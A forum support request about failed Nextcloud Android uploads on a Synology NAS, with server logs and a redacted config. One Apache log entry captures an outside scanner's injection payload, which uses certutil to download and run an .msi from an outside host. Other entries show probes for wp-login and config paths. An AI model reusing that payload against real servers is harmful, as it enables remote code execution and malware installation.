Upload problems on Synology

Hello,

when I want to upload photos with the Android app (version 3.20.3), I often get the following error message.

Upload failed
The process cannot be completed…

In the app under uploads I see the following error “connection error”.

But just before, 20 pictures were uploaded without any problems. Often I had the impression that it always happens with the last file.

In the log from the server I do not see any error.

I use Nextcloud 24.0.1 on a Synology NAS.

What can be the cause here?

Here the needed info:
Nextcloud version (eg, 20.0.5): 24.0.1
Operating system and version (eg, Ubuntu 20.04): Synology DS216+
Apache or nginx version (eg, Apache 2.4.25): 2.4
PHP version (eg, 7.4): 7.4

The issue you are facing: Upload problems with the Nextcloud Android-App

Is this the first time you’ve seen this error? (Y/N): N

Steps to replicate it: Upload Photos or autoupload

The output of your Nextcloud log in Admin > Logging:


Fehler	PHP	Error: Invalid argument supplied for foreach() at /volume1/web/nextcloud/apps/serverinfo/lib/OperatingSystems/DefaultOs.php#147	
2022-07-03T19:01:50+0200
Fehler	PHP	PHP Startup: Unable to load dynamic library 'mysql.so' (tried: /usr/local/lib/php74/modules/mysql.so (/usr/local/lib/php74/modules/mysql.so: cannot open shared object file: No such file or directory), /usr/local/lib/php74/modules/mysql.so.so (/usr/local/lib/php74/modules/mysql.so.so: cannot open shared object file: No such file or directory)) at Unknown#0	
2022-07-03T18:30:41+0200
Fehler	PHP	PHP Startup: Unable to load dynamic library 'mysql.so' (tried: /usr/local/lib/php74/modules/mysql.so (/usr/local/lib/php74/modules/mysql.so: cannot open shared object file: No such file or directory), /usr/local/lib/php74/modules/mysql.so.so (/usr/local/lib/php74/modules/mysql.so.so: cannot open shared object file: No such file or directory)) at Unknown#0	
2022-07-03T18:19:36+0200
Fehler	PHP	PHP Startup: Unable to load dynamic library 'mysql.so' (tried: /usr/local/lib/php74/modules/mysql.so (/usr/local/lib/php74/modules/mysql.so: cannot open shared object file: No such file or directory), /usr/local/lib/php74/modules/mysql.so.so (/usr/local/lib/php74/modules/mysql.so.so: cannot open shared object file: No such file or directory)) at Unknown#0	
2022-07-03T18:00:57+0200
Fehler	PHP	PHP Startup: Unable to load dynamic library 'mysql.so' (tried: /usr/local/lib/php74/modules/mysql.so (/usr/local/lib/php74/modules/mysql.so: cannot open shared object file: No such file or directory), /usr/local/lib/php74/modules/mysql.so.so (/usr/local/lib/php74/modules/mysql.so.so: cannot open shared object file: No such file or directory)) at Unknown#0	
2022-07-03T17:45:29+0200
Fehler	PHP	Error: Invalid argument supplied for foreach() at /volume1/web/nextcloud/apps/serverinfo/lib/OperatingSystems/DefaultOs.php#147	
2022-07-03T17:25:07+0200
Fehler	index	OCP\Files\NotPermittedException: Could not create folder	
2022-07-03T15:28:44+0200
Fehler	no app in context	Sabre\DAV\Exception\BadRequest: Erwartete Dateigröße von 1024000 bytes, aber 811008 bytes gelesen (vom Nextcloud-Client) und geschrieben (in den Nextcloud-Speicher). Dies kann entweder ein Netzwerkproblem auf der sendenden Seite oder ein Problem beim Schreiben in den Speicher auf der Serverseite sein.	
2022-07-03T15:23:26+0200
Fehler	index	OCP\Files\NotPermittedException: Could not create folder	
2022-07-03T15:22:47+0200
Fehler	index	OCP\Files\NotPermittedException: Could not create folder	
2022-07-03T15:19:20+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-07-03T15:19:19+0200
Fehler	index	OCP\Files\NotPermittedException: Could not create folder	
2022-07-03T15:12:41+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-07-03T15:09:04+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-07-03T15:04:13+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-07-02T21:02:59+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-07-02T18:31:00+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-06-30T21:49:12+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-06-30T21:45:46+0200
Fatal	webdav	OC\DB\Exceptions\DbalException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction	
2022-06-30T21:02:43+0200
Fatal	webdav	Sabre\DAV\Exception\ServiceUnavailable: Das System befindet sich im Wartungsmodus.	
2022-06-30T13:49:58+0200
Fatal	webdav	Sabre\DAV\Exception\ServiceUnavailable: Das System befindet sich im Wartungsmodus.	
2022-06-30T13:49:57+0200
Fatal	webdav	Sabre\DAV\Exception\ServiceUnavailable: Das System befindet sich im Wartungsmodus.	
2022-06-30T13:49:57+0200
Fatal	webdav	Sabre\DAV\Exception\ServiceUnavailable: Das System befindet sich im Wartungsmodus.	
2022-06-30T13:49:56+0200
Fehler	index	OCP\Files\NotPermittedException: Could not create folder	
2022-06-28T21:04:32+0200
Warnung	OC\Log\Rotate	Log file "/volume1/nextcloud/data/nextcloud.log" was over 104857600 bytes, moved to "/volume1/nextcloud/data/nextcloud.log.1"	
2022-06-28T17:00:17+0200

The output of your config.php file in /path/to/nextcloud (make sure you remove any identifiable information!):

<?php
$CONFIG = array (
  'instanceid' => '***',
  'passwordsalt' => '***',
  'secret' => '***',
  'trusted_domains' => 
  array (
    0 => '***',
    1 => '***',
    2 => '***',
  ),
  'datadirectory' => '/volume1/nextcloud/data',
  'overwrite.cli.url' => '***',
  'dbtype' => 'mysql',
  'version' => '24.0.1.1',
  'dbname' => 'nextcloud',
  'dbhost' => '127.0.0.1:3307',
  'dbtableprefix' => 'oc_',
  'dbuser' => 'oc_root',
  'dbpassword' => '***',
  'logtimezone' => 'UTC',
  'installed' => true,
  'maintenance' => false,
  'theme' => '',
  'loglevel' => 0,
  'mail_smtpmode' => 'smtp',
  'mail_smtpsecure' => 'tls',
  'mail_smtpauthtype' => 'LOGIN',
  'mail_from_address' => '***',
  'mail_domain' => '***',
  'mail_smtpauth' => 1,
  'mail_smtphost' => '***',
  'mail_smtpport' => '587',
  'mail_smtpname' => '***',
  'mail_smtppassword' => '***',
  'memcache.local' => '\\OC\\Memcache\\APCu',
  'filelocking.enabled' => true,
  'memcache.locking' => '\\OC\\Memcache\\Redis',
  'redis' => 
  array (
    'host' => 'localhost',
    'port' => '6379',
    'timeout' => '0',
    'dbindex' => '0',
  ),
  'default_phone_region' => 'DE',
  'updater.release.channel' => 'stable',
  'trashbin_retention_obligation' => '30,60',
  'mysql.utf8mb4' => true,
  'app_install_overwrite' => 
  array (
    0 => 'calendar',
    1 => 'files_texteditor',
  ),
);

The output of your Apache/nginx/system log in /var/log/____:

2022-07-02T23:01:03+02:00 DS216 [Sat Jul 02 23:01:03.537250 2022] [proxy_fcgi:error] [pid 11641:tid 139849436755712] (70007)The timeout specified has expired: [client 192.x.x.40:44189] AH01075: Error dispatching request to : (polling)
2022-07-03T00:01:02+02:00 DS216 [Sun Jul 03 00:01:02.600071 2022] [proxy_fcgi:error] [pid 11641:tid 139849344435968] (70007)The timeout specified has expired: [client 192.x.x.40:44262] AH01075: Error dispatching request to : (polling)
2022-07-03T01:01:03+02:00 DS216 [Sun Jul 03 01:01:03.417796 2022] [proxy_fcgi:error] [pid 11641:tid 139849411577600] (70007)The timeout specified has expired: [client 192.x.x.40:44332] AH01075: Error dispatching request to : (polling)
2022-07-03T02:01:03+02:00 DS216 [Sun Jul 03 02:01:03.602432 2022] [proxy_fcgi:error] [pid 11641:tid 139849268901632] (70007)The timeout specified has expired: [client 192.x.x.40:44404] AH01075: Error dispatching request to : (polling)
2022-07-03T03:01:03+02:00 DS216 [Sun Jul 03 03:01:03.427043 2022] [proxy_fcgi:error] [pid 11641:tid 139849336043264] (70007)The timeout specified has expired: [client 192.x.x.40:44480] AH01075: Error dispatching request to : (polling)
2022-07-03T03:19:06+02:00 DS216 [Sun Jul 03 03:19:06.889943 2022] [proxy_fcgi:error] [pid 11641:tid 139849522886400] [client 185.7.214.104:44564] AH01071: Got error 'Primary script unknown'
2022-07-03T04:01:02+02:00 DS216 [Sun Jul 03 04:01:02.948568 2022] [proxy_fcgi:error] [pid 11641:tid 139849268901632] (70007)The timeout specified has expired: [client 192.x.x.40:44603] AH01075: Error dispatching request to : (polling)
2022-07-03T04:01:20+02:00 DS216 [Sun Jul 03 04:01:20.639370 2022] [negotiation:error] [pid 11641:tid 139849394792192] [client 143.198.174.30:44620] AH00687: Negotiation: discovered file(s) matching request: /var/services/web/config (None could be negotiated).
2022-07-03T05:01:02+02:00 DS216 [Sun Jul 03 05:01:02.487928 2022] [proxy_fcgi:error] [pid 11641:tid 139849336043264] (70007)The timeout specified has expired: [client 192.x.x.40:44679] AH01075: Error dispatching request to : (polling)
2022-07-03T06:01:02+02:00 DS216 [Sun Jul 03 06:01:02.791918 2022] [proxy_fcgi:error] [pid 11641:tid 139849226938112] (70007)The timeout specified has expired: [client 192.x.x.40:44754] AH01075: Error dispatching request to : (polling)
2022-07-03T06:01:06+02:00 DS216 [Sun Jul 03 06:01:06.980093 2022] [proxy_fcgi:error] [pid 11641:tid 139849344435968] [client 5.188.210.227:44771] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
2022-07-03T07:01:02+02:00 DS216 [Sun Jul 03 07:01:02.736747 2022] [proxy_fcgi:error] [pid 11641:tid 139849344435968] (70007)The timeout specified has expired: [client 192.x.x.40:44888] AH01075: Error dispatching request to : (polling)
2022-07-03T08:01:03+02:00 DS216 [Sun Jul 03 08:01:03.026389 2022] [proxy_fcgi:error] [pid 11641:tid 139849411577600] (70007)The timeout specified has expired: [client 192.x.x.40:44976] AH01075: Error dispatching request to : (polling)
2022-07-03T09:01:03+02:00 DS216 [Sun Jul 03 09:01:03.436265 2022] [proxy_fcgi:error] [pid 11641:tid 139849260508928] (70007)The timeout specified has expired: [client 192.x.x.40:45448] AH01075: Error dispatching request to : (polling)
2022-07-03T10:01:03+02:00 DS216 [Sun Jul 03 10:01:03.147407 2022] [proxy_fcgi:error] [pid 11641:tid 139849235330816] (70007)The timeout specified has expired: [client 192.x.x.40:45960] AH01075: Error dispatching request to : (polling)
2022-07-03T11:01:03+02:00 DS216 [Sun Jul 03 11:01:03.249316 2022] [proxy_fcgi:error] [pid 14182:tid 139849310865152] (70007)The timeout specified has expired: [client 192.x.x.40:46629] AH01075: Error dispatching request to : (polling)
2022-07-03T12:01:02+02:00 DS216 [Sun Jul 03 12:01:02.562097 2022] [proxy_fcgi:error] [pid 14182:tid 139849310865152] (70007)The timeout specified has expired: [client 192.x.x.40:46776] AH01075: Error dispatching request to : (polling)
2022-07-03T12:15:03+02:00 DS216 [Sun Jul 03 12:15:03.667184 2022] [core:error] [pid 14182:tid 139849252116224] (36)File name too long: [client 152.89.198.161:46817] AH00036: access to /${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("", Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('cmd','/c','cmd /Q /C certutil.exe -urlcache -split -f https:/temp.sh/PxSCi/999.msi 999.msi && 999.msi').start()"))}/ failed (filesystem path '/var/services/web/${Class.forName("com.opensymphony.webwork.ServletActionContext").getMethod("getResponse",null).invoke(null,null).setHeader("", Class.forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('cmd','')
2022-07-03T13:01:02+02:00 DS216 [Sun Jul 03 13:01:02.737292 2022] [proxy_fcgi:error] [pid 14182:tid 139849548064512] (70007)The timeout specified has expired: [client 192.x.x.40:46985] AH01075: Error dispatching request to : (polling)
2022-07-03T14:01:02+02:00 DS216 [Sun Jul 03 14:01:02.572665 2022] [proxy_fcgi:error] [pid 14182:tid 139849285687040] (70007)The timeout specified has expired: [client 192.x.x.40:47251] AH01075: Error dispatching request to : (polling)
2022-07-03T14:50:20+02:00 DS216 [Sun Jul 03 14:50:20.797759 2022] [proxy_fcgi:error] [pid 14182:tid 139849428363008] (70007)The timeout specified has expired: [client 192.x.x.209:47523] AH01075: Error dispatching request to : (polling)
2022-07-03T14:53:23+02:00 DS216 [Sun Jul 03 14:53:23.665219 2022] [proxy_fcgi:error] [pid 14182:tid 139849386399488] (70007)The timeout specified has expired: [client 192.x.x.209:47693] AH01075: Error dispatching request to : (polling)
2022-07-03T14:56:14+02:00 DS216 [Sun Jul 03 14:56:14.323399 2022] [proxy_fcgi:error] [pid 14182:tid 139849268901632] (70007)The timeout specified has expired: [client 192.x.x.209:47820] AH01075: Error dispatching request to : (polling)
2022-07-03T14:59:18+02:00 DS216 [Sun Jul 03 14:59:18.596268 2022] [proxy_fcgi:error] [pid 14182:tid 139849411577600] (70007)The timeout specified has expired: [client 192.x.x.209:47932] AH01075: Error dispatching request to : (polling)
2022-07-03T15:01:03+02:00 DS216 [Sun Jul 03 15:01:03.810561 2022] [proxy_fcgi:error] [pid 14182:tid 139849531279104] (70007)The timeout specified has expired: [client 192.x.x.40:47971] AH01075: Error dispatching request to : (polling)
2022-07-03T15:03:19+02:00 DS216 [Sun Jul 03 15:03:19.965336 2022] [proxy_fcgi:error] [pid 14182:tid 139849411577600] (70007)The timeout specified has expired: [client 192.x.x.209:48034] AH01075: Error dispatching request to : (polling)
2022-07-03T15:05:56+02:00 DS216 [Sun Jul 03 15:05:56.977430 2022] [proxy_fcgi:error] [pid 14182:tid 139849268901632] (70007)The timeout specified has expired: [client 192.x.x.209:48142] AH01075: Error dispatching request to : (polling)
2022-07-03T15:08:35+02:00 DS216 [Sun Jul 03 15:08:35.733584 2022] [proxy_fcgi:error] [pid 14182:tid 139849361221376] (70007)The timeout specified has expired: [client 192.x.x.209:48213] AH01075: Error dispatching request to : (polling)
2022-07-03T15:10:47+02:00 DS216 [Sun Jul 03 15:10:47.745704 2022] [proxy_fcgi:error] [pid 14182:tid 139849327650560] (70007)The timeout specified has expired: [client 95.91.255.199:48374] AH01075: Error dispatching request to : (polling)
2022-07-03T15:13:59+02:00 DS216 [Sun Jul 03 15:13:59.524799 2022] [proxy_fcgi:error] [pid 14182:tid 139849268901632] (70007)The timeout specified has expired: [client 80.187.69.182:48499] AH01075: Error dispatching request to : (polling)
2022-07-03T15:15:47+02:00 DS216 [Sun Jul 03 15:15:47.681218 2022] [proxy_fcgi:error] [pid 11251:tid 139849319257856] (70007)The timeout specified has expired: [client 80.187.69.182:48766] AH01075: Error dispatching request to : (polling)
2022-07-03T15:18:18+02:00 DS216 [Sun Jul 03 15:18:18.119055 2022] [proxy_fcgi:error] [pid 11251:tid 139849522886400] (70007)The timeout specified has expired: [client 95.91.255.199:48844] AH01075: Error dispatching request to : (polling)
2022-07-03T15:22:13+02:00 DS216 [Sun Jul 03 15:22:13.550649 2022] [proxy_fcgi:error] [pid 11251:tid 139849310865152] (70007)The timeout specified has expired: [client 95.91.255.199:49038] AH01075: Error dispatching request to : (polling)
2022-07-03T15:23:26+02:00 DS216 [Sun Jul 03 15:23:26.146746 2022] [proxy_fcgi:error] [pid 11251:tid 139849378006784] (70008)Partial results are valid but processing is incomplete: [client 80.187.69.182:48987] AH01075: Error dispatching request to : (reading input brigade)
2022-07-03T15:27:56+02:00 DS216 [Sun Jul 03 15:27:56.965757 2022] [proxy_fcgi:error] [pid 11251:tid 139849378006784] (70007)The timeout specified has expired: [client 95.91.255.199:49278] AH01075: Error dispatching request to : (polling)
2022-07-03T15:31:58+02:00 DS216 [Sun Jul 03 15:31:58.902795 2022] [proxy_fcgi:error] [pid 13060:tid 139849531279104] (70007)The timeout specified has expired: [client 80.187.69.182:49955] AH01075: Error dispatching request to : (polling)
2022-07-03T16:01:02+02:00 DS216 [Sun Jul 03 16:01:02.971758 2022] [proxy_fcgi:error] [pid 13060:tid 139849361221376] (70007)The timeout specified has expired: [client 192.x.x.40:50124] AH01075: Error dispatching request to : (polling)
2022-07-03T17:01:03+02:00 DS216 [Sun Jul 03 17:01:03.094738 2022] [proxy_fcgi:error] [pid 13060:tid 139849394792192] (70007)The timeout specified has expired: [client 192.x.x.40:53646] AH01075: Error dispatching request to : (polling)
2022-07-03T17:30:41+02:00 DS216 [Sun Jul 03 17:30:41.259827 2022] [mpm_worker:notice] [pid 21026:tid 140379710539648] AH00292: Apache/2.4.43 (Unix) configured -- resuming normal operations
2022-07-03T17:30:41+02:00 DS216 [Sun Jul 03 17:30:41.260458 2022] [core:notice] [pid 21026:tid 140379710539648] AH00094: Command line: '/var/packages/Apache2.4/target/usr/local/bin/httpd24'
2022-07-03T17:30:44+02:00 DS216 [Sun Jul 03 17:30:44.745414 2022] [proxy_fcgi:error] [pid 21029:tid 140379269498624] [client 192.x.x.12:38318] AH01067: Failed to read FastCGI header
2022-07-03T17:30:44+02:00 DS216 [Sun Jul 03 17:30:44.745588 2022] [proxy_fcgi:error] [pid 21029:tid 140379269498624] (104)Connection reset by peer: [client 192.x.x.12:38318] AH01075: Error dispatching request to : 
2022-07-03T17:30:46+02:00 DS216 [Sun Jul 03 17:30:46.311285 2022] [mpm_worker:notice] [pid 21026:tid 140379710539648] AH00297: SIGUSR1 received.  Doing graceful restart
2022-07-03T17:30:46+02:00 DS216 AH00558: httpd24: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1. Set the 'ServerName' directive globally to suppress this message
2022-07-03T17:30:46+02:00 DS216 [Sun Jul 03 17:30:46.392263 2022] [mpm_worker:notice] [pid 21026:tid 140379710539648] AH00292: Apache/2.4.43 (Unix) configured -- resuming normal operations
2022-07-03T17:30:46+02:00 DS216 [Sun Jul 03 17:30:46.392301 2022] [core:notice] [pid 21026:tid 140379710539648] AH00094: Command line: '/var/packages/Apache2.4/target/usr/local/bin/httpd24'
2022-07-03T18:01:04+02:00 DS216 [Sun Jul 03 18:01:04.802998 2022] [proxy_fcgi:error] [pid 21622:tid 140379319854848] (70007)The timeout specified has expired: [client 192.x.x.40:40042] AH01075: Error dispatching request to : (polling)
2022-07-03T18:43:18+02:00 DS216 [Sun Jul 03 18:43:18.986332 2022] [proxy_fcgi:error] [pid 21622:tid 140379294676736] [client 178.254.10.206:42453] AH01071: Got error 'Primary script unknown', referer: http://***.de/wp-login.php
2022-07-03T19:01:02+02:00 DS216 [Sun Jul 03 19:01:02.756114 2022] [proxy_fcgi:error] [pid 21622:tid 140379378603776] (70007)The timeout specified has expired: [client 192.x.x.40:45633] AH01075: Error dispatching request to : (polling)
2022-07-03T19:04:31+02:00 DS216 [Sun Jul 03 19:04:31.120939 2022] [proxy_fcgi:error] [pid 21622:tid 140379319854848] (70007)The timeout specified has expired: [client 192.x.x.209:46251] AH01075: Error dispatching request to : (polling)
2022-07-03T19:14:01+02:00 DS216 [Sun Jul 03 19:14:01.570933 2022] [proxy_fcgi:error] [pid 21622:tid 140379454138112] (70007)The timeout specified has expired: [client 192.x.x.209:47146] AH01075: Error dispatching request to : (polling)
2022-07-03T19:32:45+02:00 DS216 [Sun Jul 03 19:32:45.625943 2022] [proxy_fcgi:error] [pid 21622:tid 140379345032960] (70007)The timeout specified has expired: [client 192.x.x.209:47814] AH01075: Error dispatching request to : (polling)
2022-07-03T19:35:36+02:00 DS216 [Sun Jul 03 19:35:36.729274 2022] [proxy_fcgi:error] [pid 21622:tid 140379319854848] (70007)The timeout specified has expired: [client 192.x.x.209:47901] AH01075: Error dispatching request to : (polling)
2022-07-03T19:36:46+02:00 DS216 [Sun Jul 03 19:36:46.681940 2022] [proxy_fcgi:error] [pid 21622:tid 140379420567296] (70007)The timeout specified has expired: [client 192.x.x.209:47935] AH01075: Error dispatching request to : (polling)
2022-07-03T19:38:45+02:00 DS216 [Sun Jul 03 19:38:45.197928 2022] [proxy_fcgi:error] [pid 21622:tid 140379395389184] (70007)The timeout specified has expired: [client 192.x.x.209:48004] AH01075: Error dispatching request to : (polling)
2022-07-03T19:39:56+02:00 DS216 [Sun Jul 03 19:39:56.361944 2022] [proxy_fcgi:error] [pid 21622:tid 140379328247552] (70007)The timeout specified has expired: [client 192.x.x.209:48045] AH01075: Error dispatching request to : (polling)
2022-07-03T19:43:05+02:00 DS216 [Sun Jul 03 19:43:05.594944 2022] [proxy_fcgi:error] [pid 21622:tid 140379420567296] (70007)The timeout specified has expired: [client 192.x.x.209:48123] AH01075: Error dispatching request to : (polling)
2022-07-03T19:43:47+02:00 DS216 [Sun Jul 03 19:43:47.745583 2022] [proxy_fcgi:error] [pid 21622:tid 140379504494336] (70007)The timeout specified has expired: [client 192.x.x.209:48151] AH01075: Error dispatching request to : (polling)
2022-07-03T20:01:03+02:00 DS216 [Sun Jul 03 20:01:03.152972 2022] [proxy_fcgi:error] [pid 4273:tid 140379428960000] (70007)The timeout specified has expired: [client 192.x.x.40:49788] AH01075: Error dispatching request to : (polling)
2022-07-03T21:01:03+02:00 DS216 [Sun Jul 03 21:01:03.157608 2022] [proxy_fcgi:error] [pid 4273:tid 140379412174592] (70007)The timeout specified has expired: [client 192.x.x.40:50771] AH01075: Error dispatching request to : (polling)
2022-07-03T21:36:23+02:00 DS216 [Sun Jul 03 21:36:23.443946 2022] [proxy_fcgi:error] [pid 4273:tid 140379328247552] (70007)The timeout specified has expired: [client 192.x.x.209:51380] AH01075: Error dispatching request to : (polling)
2022-07-03T22:01:03+02:00 DS216 [Sun Jul 03 22:01:03.376955 2022] [proxy_fcgi:error] [pid 4273:tid 140379277891328] (70007)The timeout specified has expired: [client 192.x.x.40:51738] AH01075: Error dispatching request to : (polling)
2022-07-03T23:01:03+02:00 DS216 [Sun Jul 03 23:01:03.002937 2022] [proxy_fcgi:error] [pid 4273:tid 140379529672448] (70007)The timeout specified has expired: [client 192.x.x.40:53222] AH01075: Error dispatching request to : (polling)
2022-07-04T00:01:03+02:00 DS216 [Mon Jul 04 00:01:03.904936 2022] [proxy_fcgi:error] [pid 4273:tid 140379361818368] (70007)The timeout specified has expired: [client 192.x.x.40:53469] AH01075: Error dispatching request to : (polling)
2022-07-04T00:57:00+02:00 DS216 [Mon Jul 04 00:57:00.832155 2022] [negotiation:error] [pid 4273:tid 140379328247552] [client 143.198.174.30:53683] AH00687: Negotiation: discovered file(s) matching request: /var/services/web/config (None could be negotiated).
2022-07-04T01:01:04+02:00 DS216 [Mon Jul 04 01:01:04.219938 2022] [proxy_fcgi:error] [pid 4273:tid 140379269498624] (70007)The timeout specified has expired: [client 192.x.x.40:53696] AH01075: Error dispatching request to : (polling)
2022-07-04T02:01:02+02:00 DS216 [Mon Jul 04 02:01:02.838520 2022] [proxy_fcgi:error] [pid 4273:tid 140379378603776] (70007)The timeout specified has expired: [client 192.x.x.40:53973] AH01075: Error dispatching request to : (polling)
2022-07-04T03:01:03+02:00 DS216 [Mon Jul 04 03:01:03.208627 2022] [proxy_fcgi:error] [pid 4273:tid 140379345032960] (70007)The timeout specified has expired: [client 192.x.x.40:54282] AH01075: Error dispatching request to : (polling)
2022-07-04T04:01:02+02:00 DS216 [Mon Jul 04 04:01:02.820926 2022] [proxy_fcgi:error] [pid 4273:tid 140379286284032] (70007)The timeout specified has expired: [client 192.x.x.40:54559] AH01075: Error dispatching request to : (polling)
2022-07-04T05:01:02+02:00 DS216 [Mon Jul 04 05:01:02.921526 2022] [proxy_fcgi:error] [pid 4273:tid 140379277891328] (70007)The timeout specified has expired: [client 192.x.x.40:54876] AH01075: Error dispatching request to : (polling)
2022-07-04T06:01:03+02:00 DS216 [Mon Jul 04 06:01:03.024940 2022] [proxy_fcgi:error] [pid 4273:tid 140379437352704] (70007)The timeout specified has expired: [client 192.x.x.40:55229] AH01075: Error dispatching request to : (polling)
2022-07-04T07:01:03+02:00 DS216 [Mon Jul 04 07:01:03.488939 2022] [proxy_fcgi:error] [pid 4273:tid 140379286284032] (70007)The timeout specified has expired: [client 192.x.x.40:55665] AH01075: Error dispatching request to : (polling)
2022-07-04T08:01:03+02:00 DS216 [Mon Jul 04 08:01:03.304677 2022] [proxy_fcgi:error] [pid 4273:tid 140379395389184] (70007)The timeout specified has expired: [client 192.x.x.40:56195] AH01075: Error dispatching request to : (polling)
2022-07-04T09:01:03+02:00 DS216 [Mon Jul 04 09:01:03.359310 2022] [proxy_fcgi:error] [pid 4273:tid 140379269498624] (70007)The timeout specified has expired: [client 192.x.x.40:57185] AH01075: Error dispatching request to : (polling)
2022-07-04T09:13:49+02:00 DS216 [Mon Jul 04 09:13:49.731189 2022] [proxy_fcgi:error] [pid 4273:tid 140379428960000] [client 220.73.57.24:57746] AH01071: Got error 'Primary script unknown', referer: http://***.de
2022-07-04T09:57:17+02:00 DS216 [Mon Jul 04 09:57:17.845306 2022] [negotiation:error] [pid 12254:tid 140379353425664] [client 143.198.174.30:59284] AH00687: Negotiation: discovered file(s) matching request: /var/services/web/config (None could be negotiated).
2022-07-04T10:01:02+02:00 DS216 [Mon Jul 04 10:01:02.463254 2022] [proxy_fcgi:error] [pid 12254:tid 140379395389184] (70007)The timeout specified has expired: [client 192.x.x.40:59363] AH01075: Error dispatching request to : (polling)

Output errors in nextcloud.log in /var/www/ or as admin user in top right menu, filtering for errors. Use a pastebin service if necessary.

{"reqId":"**","level":4,"time":"2022-07-03T13:09:04+00:00","remoteAddr":"192.*.*.209","user":"Tom","app":"webdav","method":"MOVE","url":"/remote.php/dav/uploads/Tom/a7e741fbc37687a75636cfb50c31be74/.file","message":"An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction","userAgent":"Mozilla/5.0 (Android) Nextcloud-android/3.20.3","version":"24.0.1.1","exception":{"Exception":"OC\\DB\\Exceptions\\DbalException","Message":"An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction","Code":1205,"Trace":[{"file":"/volume1/web/nextcloud/lib/private/DB/ConnectionAdapter.php","line":109,"function":"wrap","class":"OC\\DB\\Exceptions\\DbalException","type":"::","args":[{"__class__":"Doctrine\\DBAL\\Exception\\LockWaitTimeoutException","xdebug_message":"\nDoctrine\\DBAL\\Exception\\LockWaitTimeoutException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction in /volume1/web/nextcloud/3rdparty/doctrine/dbal/src/Driver/API/MySQL/ExceptionConverter.php on line 40\n\nCall Stack:\n    0.0001     357264   1. {main}() /volume1/web/nextcloud/remote.php:0\n    0.5478    5872408   2. require_once('/volume1/web/nextcloud/apps/dav/appinfo/v2/remote.php') /volume1/web/nextcloud/remote.php:166\n    0.5825    6219320   3. OCA\\DAV\\Server->exec() /volume1/web/nextcloud/apps/dav/appinfo/v2/remote.php:35\n    0.5826    6219320   4. OCA\\DAV\\Connector\\Sabre\\Server->exec() /volume1/web/nextcloud/apps/dav/lib/Server.php:352\n    0.5826    6219320   5. OCA\\DAV\\Connector\\Sabre\\Server->start() /volume1/web/nextcloud/3rdparty/sabre/dav/lib/DAV/Server.php:321\n    0.5826    6219320   6. OCA\\DAV\\Connector\\Sabre\\Server->invokeMethod() /volume1/web/nextcloud/3rdparty/sabre/dav/lib/DAV/Server.php:253\n    1.2869    7693568   7. OCA\\DAV\\Connector\\Sabr ...
{"reqId":"**","level":4,"time":"2022-07-03T13:19:19+00:00","remoteAddr":"80.187.69.182","user":"Tom","app":"webdav","method":"MOVE","url":"/remote.php/dav/uploads/Tom/e4d097e535620d892cb8503a2d0b7016/.file","message":"An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction","userAgent":"Mozilla/5.0 (Android) Nextcloud-android/3.20.3","version":"24.0.1.1","exception":{"Exception":"OC\\DB\\Exceptions\\DbalException","Message":"An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction","Code":1205,"Trace":[{"file":"/volume1/web/nextcloud/lib/private/DB/ConnectionAdapter.php","line":109,"function":"wrap","class":"OC\\DB\\Exceptions\\DbalException","type":"::","args":[{"__class__":"Doctrine\\DBAL\\Exception\\LockWaitTimeoutException","xdebug_message":"\nDoctrine\\DBAL\\Exception\\LockWaitTimeoutException: An exception occurred while executing a query: SQLSTATE[HY000]: General error: 1205 Lock wait timeout exceeded; try restarting transaction in /volume1/web/nextcloud/3rdparty/doctrine/dbal/src/Driver/API/MySQL/ExceptionConverter.php on line 40\n\nCall Stack:\n    0.0001     357264   1. {main}() /volume1/web/nextcloud/remote.php:0\n    0.6257    5872408   2. require_once('/volume1/web/nextcloud/apps/dav/appinfo/v2/remote.php') /volume1/web/nextcloud/remote.php:166\n    0.6632    6219320   3. OCA\\DAV\\Server->exec() /volume1/web/nextcloud/apps/dav/appinfo/v2/remote.php:35\n    0.6632    6219320   4. OCA\\DAV\\Connector\\Sabre\\Server->exec() /volume1/web/nextcloud/apps/dav/lib/Server.php:352\n    0.6632    6219320   5. OCA\\DAV\\Connector\\Sabre\\Server->start() /volume1/web/nextcloud/3rdparty/sabre/dav/lib/DAV/Server.php:321\n    0.6633    6219320   6. OCA\\DAV\\Connector\\Sabre\\Server->invokeMethod() /volume1/web/nextcloud/3rdparty/sabre/dav/lib/DAV/Server.php:253\n    1.5902    7693568   7. OCA\\DAV\\Connector\\Sabr ...

TomW

Hi @TomW,
You are missing the required support template. Please fill this form out and edit into your post.

This will give us the technical info and logs needed to help you! Thanks.

